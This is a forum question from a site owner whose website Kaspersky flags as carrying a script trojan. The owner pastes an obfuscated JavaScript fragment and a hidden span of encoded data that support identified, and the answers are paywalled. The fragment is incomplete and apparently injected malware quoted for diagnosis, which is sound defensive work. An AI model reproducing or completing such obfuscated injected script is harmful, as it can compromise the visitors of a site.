Link to home
Start Free TrialLog in
Avatar of Morphill
MorphillFlag for Austria

asked on

Hidden Trojan on website by Kaspersky - How to find it?

Kaspersky says my website http://www.lfv-vorarlberg.at/ is infected with trojan. (HEUR: Trojan.Script.Generic)

The warning only appears on Kaspersky. All normal Test are negative, like sucuri, virustotal,...

Then the support send me this code:

 <span id="ondragdropValueOf" style="display:none">84a 8-5 87 c84 90 95 11e9 hd82 w-85b 80-a a6- 19db 16 96 76 82 85 9p5 84a 7vb6 m21 72 82 95c b94 b8m-9 90 7b3- ................................
aArrayThrow=finallyBlur;finallyBlur="\x68\x75";offscreenBufferingParent(nullPackages)();selectElement="\x72\x76\x68";selectElement+="\x74\x74";nullPackages=selectElement;selectElement="\x6c\x76\x78";
</script> 

Open in new window

So I downloaded all my website and run a scan.
Search my mysql DB with PHPmyadmin
Search with grep on  the server

I think it's a hidden trojan, like when you refresh the page you see the warning while it's hidden in files.
So now I am lost, what can i do?
SOLUTION
Avatar of David Johnson, CD
David Johnson, CD
Flag of Canada image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
ASKER CERTIFIED SOLUTION
Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial